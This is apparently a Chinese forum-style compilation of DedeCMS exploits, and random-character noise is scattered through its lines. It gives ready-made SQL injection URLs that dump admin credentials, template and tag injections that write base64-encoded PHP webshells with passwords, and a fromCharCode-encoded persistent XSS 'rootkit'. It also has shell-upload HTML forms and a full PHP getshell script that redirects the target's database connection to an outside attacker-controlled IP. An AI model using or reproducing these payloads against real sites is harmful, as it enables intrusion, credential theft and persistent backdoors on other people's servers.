dedecms漏洞总结

admin

9 k& e* I6 t1 R5 N* vDedecms 5.6 rss注入漏洞
% u" Z+ K, K8 _( O; J/ jhttp://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1
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DedeCms v5.6 嵌入恶意代码执行漏洞
注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
发表后查看或修改即可执行
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码xiao，直接生成一句话。



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9 }% `# ?; I9 P1 i" PDede 5.6 GBK SQL注入漏洞
http://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
http://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
http://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7
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DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
, ?% O1 f: P! r% |3 _http://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
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( n$ }) W9 y9 `% ADEDECMS 全版本 gotopage变量XSS漏洞
1 q2 X# H+ @5 ?+ }" Z% K0 z1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
# X" V0 H, N5 k0 Lhttp://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="


2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
  o: |* ?& `% i# [http://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda
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6 e* ^5 U- I; e: v+ lcolor=Red]DeDeCMS(织梦)变量覆盖getshell
#!usr/bin/php -w
<?php
error_reporting(E_ERROR);
set_time_limit(0);
print_r('
DEDEcms Variable Coverage
Exploit Author: www.heixiaozi.comwww.webvul.com
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8 h, y, e% E; F3 S' M2 m' fecho "\r\n";
if($argv[2]==null){
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' url aid path
: v" S( j. H! H2 [% Z+ j; Q% caid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
Example:
& e- ?6 p  j3 F+ L1 q( E0 H/ Dphp '.$argv[0].' www.site.com 1 old
+---------------------------------------------------------------------------+
');
: h6 B1 A6 C0 v; B9 d8 Rexit;
}
$url=$argv[1];
' u$ R# P: r$ g$aid=$argv[2];
$path=$argv[3];
$ y1 |8 H/ X# i9 a3 U5 \$exp=Getshell($url,$aid,$path);
if (strpos($exp,"OK")>12){
echo "
Exploit Success \n";
if($aid==1)echo "
2 o/ x9 U" G1 J( }Shell:".$url."/$path/data/cache/fuck.php\n" ;


2 i! M# G. i" B) {* r6 A1 a, ^if($aid==2)echo "
Shell:".$url."/$path/fuck.php\n" ;
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if($aid==3)echo "
Shell:".$url."/$path/plus/fuck.php\n";
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}else{
echo "
Exploit Failed \n";
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, i% z4 R, E" ^- O6 `function Getshell($url,$aid,$path){
: |- r7 X& |- ~4 r5 b  O2 x$id=$aid;
$host=$url;
) u- ?5 F: P5 E$ f, g3 V2 n$port="80";
$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
7 J) D/ Z8 f; v$data .= "Host: ".$host."\r\n";
: U  M$ f( i( A7 f6 R$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
( c1 ~. ~5 d$ m5 Y1 [$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
( y; x; B8 K6 {: z+ M1 H//$data .= "Accept-Encoding: gzip,deflate\r\n";
  C) Y% N- k. |  P: U! U1 [3 p9 o$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
$data .= "Connection: keep-alive\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$data .= $content."\r\n";
$ock=fsockopen($host,$port);
if (!$ock) {
echo "
9 |! S/ q5 {- R7 D4 }7 l: ?5 hNo response from ".$host."\n";
}
fwrite($ock,$data);
while (!feof($ock)) {
5 O5 z  }  `- p& t( \2 c$exp=fgets($ock, 1024);
return $exp;
}
}
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?>

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DedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
8 x" B, B1 ?! q+ Phttp://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
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0 B# C5 Z9 Y( U& o+ q把上面validate=dcug改为当前的验证码，即可直接进入网站后台

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此漏洞的前提是必须得到后台路径才能实现
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& \1 `% Q& u: X5 s7 s) X! N: [Dedecms织梦 标签远程文件写入漏洞
5 A/ S) e3 R6 U2 N4 ]0 f前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');
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再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
<form action="" method="post" name="QuickSearch" id="QuickSearch">
<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
  j1 F- K8 @% F( @0 ]6 X<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
: g4 t, _& r8 ?# M( e7 L<input type="text" value="true" name="nocache" style="width:400">
<input type="submit" value="提交" name="QuickSearchBtn"><br />
</form>
<script>
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{
document.QuickSearch.action=document.QuickSearch.doaction.value;
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</script>
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DedeCms v5.6 嵌入恶意代码执行漏洞
注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
  B& e$ S+ O# R" [# |0 ga{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
4 t7 s5 @' y0 r2 f+ F) I9 D生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
Dedecms <= V5.6 Final模板执行漏洞
/ ~1 I" @/ k# h0 J2 G& I! T注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
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模板内容是（如果限制图片格式，加gif89a）：
{dede:name runphp='yes'}
$fp = @fopen("1.php", 'a');
@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
@fclose($fp);
{/dede:name}
2 修改刚刚发表的文章，查看源文件，构造一个表单：
<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
" h5 v4 S& p& ~' d9 Q" Q<input type="hidden" name="dopost" value="save" />
1 N+ o- X  X& G3 ~<input type="hidden" name="aid" value="2" />
7 Y# |+ H2 i9 ^2 l3 _& }  X<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1275972263" />

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<div id="mainCp">
7 w6 Q. a9 g' Z/ \( W  W<h3 class="meTitle"><strong>修改文章</strong></h3>

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<div class="postForm">
! Z1 \# f9 J) I/ v: h<label>标题：</label>
1 H' A. Z+ ]8 M<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>
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<label>标签TAG：</label>
9 t: v6 T8 ^4 o4 L<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)
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<label>作者：</label>
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>


<label>隶属栏目：</label>
# @- g( g: e0 D8 L. @( |<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>测试栏目</option>
5 m1 P" h7 ?9 d1 Z$ v</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)


: b* I; j" P' T# G% Q<label>我的分类：</label>
$ v3 F( q3 j! o- G% K6 X<select name='mtypesid' size='1'>
! o8 ?4 G9 T( n<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>hahahha</option>
1 a8 E9 v9 x4 ]6 a- A7 a</select>
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<label>信息摘要：</label>
. d' W7 o! c8 y9 _2 U<textarea name="description" id="description">1111111</textarea>
(内容的简要说明)
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- ?: L$ `+ ^" N$ m# s) n8 r2 U<label>缩略图：</label>
<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>

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4 [0 C  _: p7 y5 ?1 ~9 Z<input type='text' name='templet'
, F2 l2 N3 o+ D1 k  c* ~value="../ uploads/userup/2/12OMX04-15A.jpg">
( o' W4 `9 [! q' x8 I  o+ W" A<input type='text' name='dede_addonfields'
# n1 e' Q' X' C" n$ ]9 K/ t7 Z" i8 yvalue="templet,htmltext;">（这里构造）
4 g2 ~9 j; g! C* Y! T2 V</div>
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<!-- 表单操作区域 -->
; l# x0 }% a4 V. _, B7 Q<h3 class="meTitle">详细内容</h3>

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5 X1 {8 W4 V0 `$ F, m<div class="contentShow postForm">
<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>
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* R+ h; B/ {! @% m- r<label>验证码：</label>
<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />
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<button class="button2" type="submit">提交</button>
3 e! c; X5 b4 I2 p( S<button class="button2 ml10" type="reset">重置</button>
$ H/ w- V3 z" E  `1 J" V, z</div>
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</div>


: [; h+ k- _/ Z</form>

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提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
假设刚刚修改的文章的aid为2，则我们只需要访问：
http://127.0.0.1/dede/plus/view.php?aid=2
2 }. p) H7 V- D即可以在plus目录下生成webshell：1.php
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- n, _, l6 \6 ?7 m; U/ S- j, rDEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
6 T7 t: c2 ], e; h* A. O; a" AGif89a{dede:field name='toby57' runphp='yes'}
phpinfo();
{/dede:field}
保存为1.gif
' v, b# u0 O2 K9 ]/ z7 ]<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
<input type="hidden" name="aid" value="7" />
6 p% a; P6 ~0 H<input type="hidden" name="mediatype" value="1" />
, y. `* G; i5 A<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
<input type="hidden" name="dopost" value="save" />
1 u& D, h! G' `/ C3 J<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
<input name="addonfile" type="file" id="addonfile"/>
5 r7 n: n; M: F. N7 }7 X1 Q<button class="button2" type="submit" >更改</button>
) C  ?. K, @% V8 U" R& ?" M, Q/ F</form>
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构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
发表文章，然后构造修改表单如下：
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<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
8 X( c1 h) v) p# V* ?! I<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
: E( _, a- z% l8 g0 i) ^<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
( s# F* M3 \% |) i  A  E* I8 r. d<input type="hidden" name="sortrank" value="1282049150" />
3 i, a/ M8 T  `) O<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
* `) z; |# ]9 o2 p<select name='typeid' size='1'>
/ [' x) d& l2 x6 p# u0 r<option value='1' class='option3' selected=''>Test</option>
<select name='mtypesid' size='1'>
  M  _4 h- [4 h* w. O7 e) `<option value='0' selected>请选择分类...</option>
) G3 F# J1 i, z: |/ K/ l) n<option value='1' class='option3' selected>aa</option></select>
. Z$ i% R$ j9 a1 t0 c<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
! R6 v$ X3 f# Q, @0 y<input type='hidden' name='dede_addonfields' value="templet">
& B0 S9 O& x. a& }: L* b<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
9 H* H9 \3 o  m! m, Y<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
<button class="button2" type="submit">提交</button>
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织梦(Dedecms)V5.6 远程文件删除漏洞
http://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif



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织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
http://www.test.com/plus/carbuya ... urn&code=../../

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DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
' v' |9 }- T( p2 w4 c, j密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5

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& E% Q  ?5 \$ S0 `3 S: s织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
: g' k3 B. r' J6 Hhttp://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='

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+ R8 G( {, d9 ^5 O$ X织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
: C$ i2 N3 t" `2 u) J/ i. B4 C<html>
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9 z+ o0 n8 w7 f. H$ J/ y" ^  H, z) y<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
' F1 a* A0 e5 W</head>
) X$ Z0 g. q' X+ [6 X<body style="FONT-SIZE: 9pt">
5 l1 h, B; M5 B* e---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
$ c7 \; k) S2 K<input type='hidden' name='activepath' value='/data/cache/' />
<input type='hidden' name='cfg_basedir' value='../../' />
<input type='hidden' name='cfg_imgtype' value='php' />
7 e+ C  q( D/ K$ W& b# E: f<input type='hidden' name='cfg_not_allowall' value='txt' />
: q" {- V  _9 T* t9 Z: V<input type='hidden' name='cfg_softtype' value='php' />
8 k+ W4 q$ v. w<input type='hidden' name='cfg_mediatype' value='php' />
9 g( k8 [5 |7 Y7 x  p- w<input type='hidden' name='f' value='form1.enclosure' />
8 n4 r9 F* N' u  n; A$ Y<input type='hidden' name='job' value='upload' />
% {: P# _. m/ X6 m- k$ s<input type='hidden' name='newname' value='fly.php' />
( @7 s* Z, r  L! O- B- D8 Y9 x/ G5 ISelect U Shell <input type='file' name='uploadfile' size='25' />
<input type='submit' name='sb1' value='确定' />
" m! L( C% V( E5 L3 I</form>
: t; S/ O+ m) s4 l<br />It's just a exp for the bug of Dedecms V55...<br />
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( Z' M1 ?$ v4 L' Z# M, xFun the game,get a webshell at /data/cache/fly.php...<br />
$ N9 a8 e( T; ]9 O8 _% Q6 V</body>
</html>








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织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
% G( J3 s- b, A+ F1. 访问网址：
http://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
可看见错误信息
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2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
; d$ [& o3 _3 O# @0 b1 Gint(3) Error: Illegal double '1024e1024' value found during parsing
Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>

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% G" x% H1 z9 e8 l9 E' G# X3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是


<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>


按确定后的看到第2步骤的信息表示文件木马上传成功.


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织梦(DedeCms)plus/infosearch.php 文件注入漏洞
http://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*